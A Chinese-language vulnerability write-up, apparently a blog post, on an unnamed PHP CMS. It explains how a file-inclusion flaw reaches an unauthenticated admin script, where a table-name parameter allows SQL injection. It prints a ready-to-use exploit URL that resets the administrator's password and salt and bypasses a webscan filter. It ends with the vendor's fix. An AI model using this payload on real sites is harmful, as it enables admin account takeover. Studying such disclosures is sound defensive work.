用来填坑的文章,漏洞也比较有趣,简单写下漏洞产生过程

GO

该系统下有个global_page.php,通过使用文件包含的方式进入不同的应用,inlcude中后缀指定了为php,也就是说我们只能控制除后缀外的部分。由于文件中存在多处鸡肋包含,给出部分代码如下/inc/global_page.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$tp=explode("/",$p);
$p=count($tp)>1?$tp[count($tp)-1]:$p;
$pp=explode("-",$p);

$p= $ym_cats[$p] ? $p : str_replace('-'.$pp[count($pp)-1],'',$p);

if (file_exists(cache_data."diy".Ext)) {
include(cache_data."diy".Ext); //引入全局缓存
}

$ym_module = array('index','cart', 'user','apidata');
if(in_array($p, $ym_module))
{
if(trim($_REQUEST["action"])!=''){
@include("./inc/lib/".trim($_REQUEST["action"]).Ext);exit();
}
require("./inc/module/".$p.Ext);
@include template($p, $ym_tpl."/");exit();
}

根据之前的想法,我们得去包含危险php文件,这样更容易产生漏洞。
通过浏览文件发现,后台文件中普遍都加上了权限检测的代码,类似如下这种:

1
2
3
4
<?php
if (!defined('in_mx')) {exit('Access Denied');}

checkAuth($login_id, 'app');//权限检测

但也漏掉了几处文件,而且巧的是刚好这几处文件可导致漏洞。先看下代码/inc/admin_inc/post/batch.order.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (!defined('in_mx')) {exit('Access Denied');}


for ($i=0;$i<count($h_id);$i++){

$db->update(''.$kktype, array('c_order' => intval($c_order[$i])), array('id' => $h_id[$i]));
//echo $c_order." , ";
}

//update_config($site_id,$site_mo,$site_url);

message("更新排序完成。",$url);
?>

我们包含成功后,通过update进行操作,通过该系统的全局变量注册机制,可控制$kktype变量,即table表名,达到注入的效果。有趣的是,刚好这样的注入点还可以绕过系统中的webscan360代码,还不用去猜测表前缀。

那么最好的利用方法,就是去修改管理员的密码。虽然系统对密码有加盐处理,方式是md5(md5(trim($val)).$salt),那么构造一下修改管理员密码为xiaot的payload:

1
https://xxx.xxx/index.php?p=index&action=../admin_inc/post/batch.order&h_id[0]=1&c_order[0]=1&kktype=user set salt=0x616161616161,pwd=md5(0x3264623532353530663263656530366466343832323061303338626362613035616161616161) where id%3d1%23

高兴的去提交给补天,结果被告知被大佬抢先了一步orz

修复

在最新的版本中该系统对所有这样的包含点进行了替换处理,替换掉了输入中.,代码类似如下:@include("./inc/lib/".str_replace(".","",$_REQUEST["action"]).Ext);exit();